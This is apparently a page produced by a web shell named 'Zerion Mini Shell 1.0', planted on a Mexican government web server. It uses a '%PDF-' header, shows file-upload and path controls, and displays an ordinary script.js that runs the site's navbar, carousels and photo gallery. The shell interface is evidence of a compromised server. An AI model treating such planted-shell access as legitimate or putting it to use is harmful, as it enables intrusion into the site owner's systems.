%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/genero.tjamich.gob.mx/
Upload File :
Create Path :
Current File : /home/tjamichg/genero.tjamich.gob.mx/script.js

//////////////////TOP Y NAVBAR//////////////////
const topBar = document.getElementById('topbar');
const navbar = document.getElementById('navbar');

window.addEventListener('scroll', () => {
  if (window.scrollY > 50) {
    topBar.classList.add('hidden');
    navbar.style.top = '0';
  } else {
    topBar.classList.remove('hidden');
    navbar.style.top = topBar.offsetHeight + 'px';
  }
  AOS.refresh(); // recalcula posiciones para que fade-left funcione
});



//////////////////////////////MENU//////////////////////////////////
  const cmascToggle = document.getElementById('cmasc-toggle');
  const cmascNav = document.getElementById('cmasc-nav');
  const submenuToggles = document.querySelectorAll('.cmasc-submenu-toggle');

  cmascToggle.addEventListener('click', () => {
    cmascToggle.classList.toggle("active");
    cmascNav.classList.toggle("show");
  });

  submenuToggles.forEach(toggle => {
    toggle.addEventListener('click', (e) => {
      const parent = toggle.closest('.cmasc-has-submenu');
      if (window.innerWidth <= 768) {
        e.preventDefault();
        parent.classList.toggle('open');
      }
    });
  });

/////////////////CARRUSEL/////////////////
let slideIndex = 0;
showSlides();

// Next-previous control
function nextSlide() {
  slideIndex++;
  showSlides();
  timer = _timer; // reset timer
}

function prevSlide() {
  slideIndex--;
  showSlides();
  timer = _timer;
}

// Thumbnail image controlls
function currentSlide(n) {
  slideIndex = n - 1;
  showSlides();
  timer = _timer;
}

function showSlides() {
  let slides = document.querySelectorAll(".mySlides");
  let dots = document.querySelectorAll(".dots");

  if (slideIndex > slides.length - 1) slideIndex = 0;
  if (slideIndex < 0) slideIndex = slides.length - 1;
  
  // hide all slides
  slides.forEach((slide) => {
    slide.style.display = "none";
  });
  
  // show one slide base on index number
  slides[slideIndex].style.display = "block";
  
  dots.forEach((dot) => {
    dot.classList.remove("active");
  });
  
  dots[slideIndex].classList.add("active");
}

// autoplay slides --------
let timer = 7; // sec
const _timer = timer;

// this function runs every 1 second
setInterval(() => {
  timer--;

  if (timer < 1) {
    nextSlide();
    timer = _timer; // reset timer
  }
}, 1000); // 1sec


//////////////////LIBRERIA DE REVISTAS////////////////////
document.querySelectorAll('.cmasc-revista').forEach(revista => {
    revista.addEventListener('click', () => {
      document.querySelectorAll('.cmasc-revista').forEach(r => {
        if (r !== revista) r.classList.remove('activo');
      });

      revista.classList.toggle('activo');
    });
  });

  // Cierra si haces clic fuera
  document.addEventListener('click', (e) => {
    if (!e.target.closest('.cmasc-revista')) {
      document.querySelectorAll('.cmasc-revista').forEach(r => r.classList.remove('activo'));
    }
  });


  ////////////CARRUSEL DE VIDEOS////////////
  const slider = document.getElementById('igm-slider');
  let isDown = false;
  let startX, scrollLeft;

  slider.addEventListener('mousedown', (e) => {
    isDown = true;
    startX = e.pageX - slider.offsetLeft;
    scrollLeft = slider.scrollLeft;
  });

  slider.addEventListener('mouseleave', () => isDown = false);
  slider.addEventListener('mouseup', () => isDown = false);
  slider.addEventListener('mousemove', (e) => {
    if (!isDown) return;
    e.preventDefault();
    const x = e.pageX - slider.offsetLeft;
    const walk = (x - startX) * 2;
    slider.scrollLeft = scrollLeft - walk;
  });

  ////////////////////PHOTOSWIPE////////////////////
  document.addEventListener('DOMContentLoaded', function () {
    const galleryElements = document.querySelectorAll('.gallery-5 a');
    const items = Array.from(galleryElements).map(link => ({
      src: link.href,
      w: parseInt(link.dataset.pswpWidth),
      h: parseInt(link.dataset.pswpHeight),
      title: link.querySelector('img').alt
    }));

    galleryElements.forEach((link, index) => {
      link.addEventListener('click', (e) => {
        e.preventDefault();
        const pswpElement = document.querySelector('.pswp');
        const options = {
          index,
          bgOpacity: 0.85,
          showHideOpacity: true
        };
        new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, options).init();
      });
    });
  });

Zerion Mini Shell 1.0